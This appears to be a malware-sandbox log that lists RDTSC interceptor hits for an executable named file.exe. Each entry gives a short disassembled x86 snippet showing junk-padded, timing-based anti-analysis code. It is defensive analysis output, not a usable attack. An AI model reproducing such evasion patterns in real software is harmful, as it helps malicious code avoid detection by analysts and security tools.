Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A208A second address: 4A20BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD76A6h 0x00000007 jmp 00007F07BCDD769Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jo 00007F07BCDD7696h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20BC second address: 4A20C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518674 second address: 51867C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518C17 second address: 518C21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F07BCC9CC36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 518D98 second address: 518DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5192FE second address: 51931A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F07BCC9CC42h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51931A second address: 519335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnp 00007F07BCDD7696h 0x0000000c jo 00007F07BCDD7696h 0x00000012 popad 0x00000013 jne 00007F07BCDD76A2h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519450 second address: 51947B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCC9CC48h 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F07BCC9CC3Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51947B second address: 51947F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5195C3 second address: 5195ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jng 00007F07BCC9CC36h 0x00000011 popad 0x00000012 jmp 00007F07BCC9CC48h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519784 second address: 51978A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E6EE second address: 51E6F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E6F2 second address: 51E711 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD76A9h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51E711 second address: 51E72E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCC9CC49h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502211 second address: 50221C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F07BCDD7696h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF701 second address: 4EF7A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCC9CC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], ebx 0x0000000d jbe 00007F07BCC9CC42h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov dx, ax 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 and edx, 296AA402h 0x0000002a mov dword ptr [ebp+124833C3h], esp 0x00000030 push 00000000h 0x00000032 push edi 0x00000033 call 00007F07BCC9CC38h 0x00000038 pop edi 0x00000039 mov dword ptr [esp+04h], edi 0x0000003d add dword ptr [esp+04h], 00000019h 0x00000045 inc edi 0x00000046 push edi 0x00000047 ret 0x00000048 pop edi 0x00000049 ret 0x0000004a cld 0x0000004b cmp dword ptr [ebp+122D377Ch], 00000000h 0x00000052 jne 00007F07BCC9CCC0h 0x00000058 movsx edx, di 0x0000005b mov byte ptr [ebp+122D2A05h], 00000047h 0x00000062 mov edx, dword ptr [ebp+122D29D6h] 0x00000068 mov eax, D49AA7D2h 0x0000006d mov dword ptr [ebp+122D341Bh], esi 0x00000073 nop 0x00000074 push eax 0x00000075 jmp 00007F07BCC9CC3Ah 0x0000007a pop eax 0x0000007b push eax 0x0000007c push edi 0x0000007d push eax 0x0000007e push edx 0x0000007f jp 00007F07BCC9CC36h 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EFA46 second address: 4EFA54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F07BCDD769Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EFA54 second address: 4EFA58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EFCE1 second address: 4EFCE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EFD71 second address: 4EFD7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jns 00007F07BCC9CC36h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F003C second address: 4F0088 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F07BCDD769Ch 0x00000008 jnl 00007F07BCDD7696h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 jp 00007F07BCDD7696h 0x00000019 pop eax 0x0000001a pushad 0x0000001b jmp 00007F07BCDD769Ah 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 popad 0x00000023 popad 0x00000024 nop 0x00000025 mov cl, 56h 0x00000027 push 00000004h 0x00000029 jmp 00007F07BCDD76A8h 0x0000002e nop 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 push ebx 0x00000033 pop ebx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0088 second address: 4F008C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F008C second address: 4F00A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 jnc 00007F07BCDD769Ch 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0577 second address: 4F059C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F07BCC9CC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jp 00007F07BCC9CC36h 0x00000011 pop esi 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F07BCC9CC3Fh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F07E3 second address: 4D1535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F07BCDD7698h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Dh 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 xor ecx, 352B1579h 0x00000028 lea eax, dword ptr [ebp+1248336Bh] 0x0000002e push 00000000h 0x00000030 push ecx 0x00000031 call 00007F07BCDD7698h 0x00000036 pop ecx 0x00000037 mov dword ptr [esp+04h], ecx 0x0000003b add dword ptr [esp+04h], 00000016h 0x00000043 inc ecx 0x00000044 push ecx 0x00000045 ret 0x00000046 pop ecx 0x00000047 ret 0x00000048 mov cl, 36h 0x0000004a nop 0x0000004b push edi 0x0000004c jnc 00007F07BCDD769Ch 0x00000052 pop edi 0x00000053 push eax 0x00000054 jmp 00007F07BCDD76A2h 0x00000059 nop 0x0000005a sub dword ptr [ebp+12459E90h], ebx 0x00000060 mov di, cx 0x00000063 call dword ptr [ebp+122D32D1h] 0x00000069 push ecx 0x0000006a jl 00007F07BCDD76A2h 0x00000070 jne 00007F07BCDD7696h 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51EA04 second address: 51EA22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 js 00007F07BCC9CC36h 0x0000000b jo 00007F07BCC9CC36h 0x00000011 jl 00007F07BCC9CC36h 0x00000017 jng 00007F07BCC9CC36h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51ECB3 second address: 51ECBF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51ECBF second address: 51ECC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51ECC3 second address: 51ECE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD76A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51ECE2 second address: 51ECF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F07BCC9CC36h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007F07BCC9CC36h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51ECF8 second address: 51ED14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD76A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51ED14 second address: 51ED1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51ED1A second address: 51ED1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51F157 second address: 51F16B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCC9CC3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ABF77 second address: 4ABF7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ABF7D second address: 4ABF81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5271CD second address: 5271EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD76A3h 0x00000007 push esi 0x00000008 jns 00007F07BCDD7696h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 526B79 second address: 526B93 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F07BCC9CC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F07BCC9CC3Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 526B93 second address: 526B98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52792B second address: 527931 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527A7A second address: 527A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527A81 second address: 527A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527A89 second address: 527A8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527A8F second address: 527A98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527C46 second address: 527C57 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F07BCDD7696h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push edi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527F1E second address: 527F5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F07BCC9CC36h 0x0000000a jmp 00007F07BCC9CC49h 0x0000000f jl 00007F07BCC9CC36h 0x00000015 popad 0x00000016 jmp 00007F07BCC9CC45h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F200 second address: 52F206 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F7B9 second address: 52F7D9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F07BCC9CC44h 0x00000008 jmp 00007F07BCC9CC3Eh 0x0000000d jnp 00007F07BCC9CC3Eh 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F7D9 second address: 52F805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007F07BCDD76A1h 0x0000000e jns 00007F07BCDD7696h 0x00000014 jmp 00007F07BCDD769Bh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52F982 second address: 52F987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52FD88 second address: 52FD90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53006F second address: 5300A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCC9CC3Eh 0x00000007 jmp 00007F07BCC9CC3Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F07BCC9CC41h 0x00000016 push eax 0x00000017 pop eax 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53060E second address: 53061D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCDD769Ah 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53061D second address: 53062D instructions: 0x00000000 rdtsc 0x00000002 ja 00007F07BCC9CC42h 0x00000008 jng 00007F07BCC9CC36h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF532 second address: 4AF537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF537 second address: 4AF55E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F07BCC9CC48h 0x00000008 push edi 0x00000009 pop edi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AF55E second address: 4AF562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534A80 second address: 534AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCC9CC48h 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F07BCC9CC3Bh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534C2D second address: 534C39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F07BCDD7696h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534C39 second address: 534C49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F07BCC9CC3Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534C49 second address: 534C58 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F07BCDD7696h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534F45 second address: 534F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 534F49 second address: 534F5D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F07BCDD7696h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007F07BCDD76A2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53ACA7 second address: 53ACAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53ACAC second address: 53ACB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F798 second address: 53F79C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F79C second address: 53F7A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F7A4 second address: 53F7D2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F07BCC9CC38h 0x00000008 push eax 0x00000009 jmp 00007F07BCC9CC41h 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F07BCC9CC3Dh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F943 second address: 53F97E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCDD76A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F07BCDD76A3h 0x00000010 jmp 00007F07BCDD76A2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F97E second address: 53F996 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCC9CC3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jne 00007F07BCC9CC36h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53FB04 second address: 53FB08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53FB08 second address: 53FB14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53FB14 second address: 53FB2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCDD76A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53FB2C second address: 53FB3C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F07BCC9CC3Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F028E second address: 4F0292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F0292 second address: 4F02D4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 mov ecx, dword ptr [ebp+1244AAA9h] 0x0000000d mov ebx, dword ptr [ebp+124833AAh] 0x00000013 sub dl, FFFFFFC2h 0x00000016 jmp 00007F07BCC9CC49h 0x0000001b add eax, ebx 0x0000001d cld 0x0000001e nop 0x0000001f ja 00007F07BCC9CC3Ah 0x00000025 push eax 0x00000026 pushad 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F02D4 second address: 4F02DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F02DF second address: 4F02E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F02E3 second address: 4F030F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov edi, edx 0x0000000a movzx edx, ax 0x0000000d push 00000004h 0x0000000f jmp 00007F07BCDD76A3h 0x00000014 mov di, 39D1h 0x00000018 nop 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53FE47 second address: 53FE4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53FE4B second address: 53FE77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F07BCDD769Eh 0x0000000b jmp 00007F07BCDD76A2h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53FE77 second address: 53FE81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53FE81 second address: 53FE8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F07BCDD7696h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544D0C second address: 544D4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F07BCC9CC3Ah 0x00000008 jp 00007F07BCC9CC36h 0x0000000e jmp 00007F07BCC9CC40h 0x00000013 jne 00007F07BCC9CC36h 0x00000019 popad 0x0000001a jl 00007F07BCC9CC3Ah 0x00000020 pop edx 0x00000021 pop eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 jng 00007F07BCC9CC36h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544D4E second address: 544D56 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544D56 second address: 544D62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jg 00007F07BCC9CC36h 0x0000000c rdtsc
